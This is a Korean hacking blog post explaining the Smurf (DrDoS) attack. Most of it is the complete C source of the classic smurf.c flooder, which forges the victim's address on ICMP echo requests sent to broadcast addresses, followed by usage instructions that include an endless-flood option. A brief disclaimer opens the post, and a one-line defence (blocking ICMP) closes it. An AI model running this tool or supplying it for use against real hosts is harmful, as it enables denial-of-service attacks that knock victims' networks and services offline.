Hacking/Network Hacking

DrDOS (Smurf Attack)

나노콛 2019. 9. 28. 00:34

* 여기에 기술된 내용을 보고 악의적인 이유로 이용할 시 법적 책임은 자신에게 있습니다.

Smurf Attack
공격자가 ICMP 조작해 한 번에 많은 양의 ICMP Reply를 공격 대상에게 보내는 공격

smurf2.c

#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>

void            banner(void);
void            usage(char *);
void            smurf(int, struct sockaddr_in, u_long, int);
void            ctrlc(int);
unsigned int    host2ip(char *hostname);
unsigned short  in_chksum(u_short *, int);

unsigned int
host2ip(char *hostname)
{
        static struct in_addr i;
        struct hostent *h;
        i.s_addr = inet_addr(hostname);
        if (i.s_addr == -1) {
                h = gethostbyname(hostname);
                if (h == NULL) {
                        fprintf(stderr, "can't find %s\n.", hostname);
                        exit(0);
                }
                bcopy(h->h_addr, (char *) &i.s_addr, h->h_length);
        }
        return i.s_addr;
}

/* stamp */
char            id[] = "$Id smurf.c,v 5.0 1997/10/13 22:37:21 CDT griffin Exp $";

int
main(int argc, char *argv[])
{
        struct sockaddr_in sin;
        FILE           *bcastfile;
        int             i, sock, bcast, delay, num, pktsize, cycle = 0,
                        x;
        char            buf[32], **bcastaddr = malloc(8192);

        banner();
        signal(SIGINT, ctrlc);

        if (argc < 6)
                usage(argv[0]);

        sin.sin_addr.s_addr = host2ip(argv[1]);
        sin.sin_family = AF_INET;

        num = atoi(argv[3]);
        delay = atoi(argv[4]);
        pktsize = atoi(argv[5]);

        if ((bcastfile = fopen(argv[2], "r")) == NULL) {
                perror("opening bcast file");
                exit(-1);
        }
        x = 0;
        while (!feof(bcastfile)) {
                fgets(buf, 32, bcastfile);
                if (buf[0] == '#' || buf[0] == '\n' || !isdigit(buf[0]))
                        continue;
                for (i = 0; i < strlen(buf); i++)
                        if (buf[i] == '\n')
                                buf[i] = '\0';
                bcastaddr[x] = malloc(32);
                strcpy(bcastaddr[x], buf);
                x++;
        }
        bcastaddr[x] = 0x0;
        fclose(bcastfile);

        if (x == 0) {
                fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
                exit(-1);
        }
        if (pktsize > 1024) {
                fprintf(stderr, "ERROR: packet size must be < 1024\n\n");
                exit(-1);
        }
        if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
                perror("getting socket");
                exit(-1);
        }
        setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *) &bcast, sizeof(bcast));

        printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);

        for (i = 0; i < num || !num; i++) {
                if (!(i % 25)) {
                        printf(".");
                        fflush(stdout);
                }
                smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
                cycle++;
                if (bcastaddr[cycle] == 0x0)
                        cycle = 0;
                usleep(delay);
        }
        puts("\n\n");
        return 0;
}

void
banner(void)
{
        puts("\nsmurf.c v5.0 by TFreak, ported by Griffin\n");
}

void
usage(char *prog)
{
        fprintf(stderr, "usage: %s <target> <bcast file> "
                "<num packets> <packet delay> <packet size>\n\n"
                "target        = address to hit\n"
                "bcast file    = file to read broadcast addresses from\n"
                "num packets   = number of packets to send (0 = flood)\n"
                "packet delay  = wait between each packet (in ms)\n"
                "packet size   = size of packet (< 1024)\n\n", prog);
        exit(-1);
}

void
smurf(int sock, struct sockaddr_in sin, u_long dest, int psize)
{
        struct ip      *ip;
        struct icmp    *icmp;
        char           *packet;
        int             hincl = 1;

        packet = malloc(sizeof(struct ip) + sizeof(struct icmp) + psize);
        ip = (struct ip *) packet;
        icmp = (struct icmp *) (packet + sizeof(struct ip));

        memset(packet, 0, sizeof(struct ip) + sizeof(struct icmp) + psize);
        setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &hincl, sizeof(hincl));
        ip->ip_len = sizeof(struct ip) + sizeof(struct icmp) + psize;
        ip->ip_hl = sizeof *ip >> 2;
        ip->ip_v = 4;
        ip->ip_ttl = 255;
        ip->ip_tos = 0;
        ip->ip_off = 0;
        ip->ip_id = htons(getpid());
        ip->ip_p = 1;
        ip->ip_src.s_addr = sin.sin_addr.s_addr;
        ip->ip_dst.s_addr = dest;
        ip->ip_sum = 0;
        icmp->icmp_type = 8;
        icmp->icmp_code = 0;
        icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));

        sendto(sock, packet, sizeof(struct ip) + sizeof(struct icmp) + psize,
               0, (struct sockaddr *) & sin, sizeof(struct sockaddr));

        free(packet);           /* free willy! */
}

void
ctrlc(int ignored)
{
        puts("\nDone!\n");
        exit(1);
}

unsigned short
in_chksum(u_short * addr, int len)
{
        register int    nleft = len;
        register int    sum = 0;
        u_short         answer = 0;

        while (nleft > 1) {
                sum += *addr++;
                nleft -= 2;
        }

        if (nleft == 1) {
                *(u_char *) (&answer) = *(u_char *) addr;
                sum += answer;
        }
        sum = (sum >> 16) + (sum + 0xffff);
        sum += (sum >> 16);
        answer = ~sum;
        return (answer);
}



정상적인 ICMP 흐름은
client가 server에게 Request를 보내고 server가 Reply로 응답합니다.


* 기존 공격은 broadcast를 공격하여(목적지 ip) 스푸핑된ip로(공격자) ICMP를 보낸 것으로 위장된 패킷을 보내는 것이었으나 boardcast 공격은 현재 되지 않습니다.

공격 방법-

smurf2 <target> <bcast file> <num packets> <packet delay> <packet size>
target 공격할 곳 ip
bcast file 읽을 수 있는 파일로 브로드캐스트 주소
num packets 보낼 패킷 수 0이면 계속 보내게 됨
packet delay 패킷을 보낼 딜레이 (ms)
packet size 보낼 패킷 사이즈 ( < 1024 )


bcast file은 브로드캐스트 주소 말고
내부 아이피들을 이용하겠습니다.

핑은 request만 있다는 것을 볼 수 있습니다.

이러한 급격하게 올라가고 급격하게 떨어지는 그래프는 공격을 의심해볼 만 합니다.


 

DrDOS 보안
방화벽 공유기 등에서 ICMP를 차단하면 됩니다.

 

728x90

'Hacking > Network Hacking' 카테고리의 다른 글

DDOS(Distributed Denial Of Service) Slowloris DOS  (0) 2019.09.28
DOS(Denial of Service) 공격  (0) 2019.09.28
SSL Sniffing (SSLstrip)  (0) 2019.09.28
Sniffing - SSH downgrade Attack (ettercap)  (0) 2019.09.28
DNS Spoofing  (0) 2019.09.28